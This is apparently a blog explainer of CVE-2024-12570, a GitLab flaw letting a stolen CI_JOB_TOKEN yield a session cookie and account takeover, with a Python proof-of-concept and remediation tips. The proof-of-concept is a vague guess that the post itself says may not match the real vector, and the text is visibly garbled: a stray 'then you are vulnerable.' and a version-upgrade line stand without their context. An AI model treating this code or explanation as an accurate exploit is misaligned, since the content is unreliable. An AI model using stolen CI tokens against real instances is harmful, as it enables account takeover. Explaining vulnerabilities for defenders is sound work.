CVE-2024-12570 - How GitLab CI_JOB_TOKEN Could Leak Your Session Token (Explained with Example)

A serious vulnerability—CVE-2024-12570—has been discovered lurking in GitLab Community Edition (CE) and Enterprise Edition (EE). This security flaw could allow someone who gets their hands on your CI_JOB_TOKEN to take over your GitLab account by obtaining your precious session token. In this post, we’ll break down what this means, show you how it works, and provide links and code snippets so you get the full picture—using simple English.

then you are vulnerable.

The bug: If an attacker can access your CI_JOB_TOKEN, they could craft a request to GitLab that tricks it into giving up your session cookie—effectively handing them access to your account.

How Does This Happen?

1. CI_JOB_TOKEN Exposure: These tokens are used by GitLab CI/CD jobs. If an attacker gets one—for example, from build logs or poorly restricted job artifacts—they might be able to do more than you think.
2. Abuse GitLab Endpoints: Using this token, the attacker can hit GitLab endpoints in a way that causes GitLab to return a valid, authenticated session cookie for your account... which they can then use in their browser or tool of choice.
3. Get Session Cookie => Account Takeover: With your session cookie, the attacker is you, at least as far as GitLab is concerned.

Demonstrating the Exploit

Below is a proof-of-concept showing how an attacker could use a stolen CI_JOB_TOKEN to get a session cookie. (Do not use this attack against systems you do not own!)

Example Exploit Code (Python)

import requests

GITLAB_URL = 'https://gitlab.example.com';
CI_JOB_TOKEN = 'the-stolen-CI_JOB_TOKEN-goes-here'

# Simulate the vulnerable API usage
headers = {
    'JOB-TOKEN': CI_JOB_TOKEN
}

with requests.Session() as s:
    # Example vulnerable endpoint (adjust if necessary)
    resp = s.get(f'{GITLAB_URL}/api/v4/user', headers=headers)
    
    # If the token is accepted, the server may set a session cookie
    if resp.ok:
        print("[+] Got response from API endpoint")
        if 'set-cookie' in resp.headers:
            print("[!] API set a session cookie!")
        else:
            print("[!] Check cookies in the session")
            print(s.cookies.get_dict())
    else:
        print("[-] Unexpected response. Status:", resp.status_code)

Note: The real exploit vector may involve specific endpoints or internal behavior—see GitLab's advisory for technical depth.

Why Is This So Dangerous?

- Session Token = Full Account Access: Once an attacker has your session token, they can log in as you, change your settings, push code, leak or delete repositories, and even access private projects and settings.

How Did This Happen?

GitLab mistakenly allowed actions authenticated with CI_JOB_TOKEN to trigger code paths that established web sessions—meant for user interaction. This is not intended and enabled the attack.

More details are in the official advisory:
🔗 GitLab Security Advisory for CVE-2024-12570

17.6.x: Upgrade to 17.6.2 or newer

- Rotate Your Runners’ Credentials: If you suspect exposure, rotate your runners, secrets, and tokens.

- Audit Token Exposure: Do you leak CI_JOB_TOKEN in artifacts? Correct job permissions and limit logs.

References

- GitLab Security Advisory (Official)
- NVD Record
- GitLab CI/CD Documentation

Conclusion

CVE-2024-12570 is a reminder that your CI jobs are just as sensitive as your passwords. Protect your tokens, update your GitLab instance immediately, and monitor your jobs for leaks. If someone can get your CI_JOB_TOKEN, they could hijack your whole account.

Timeline

Published on: 12/12/2024 12:15:22 UTC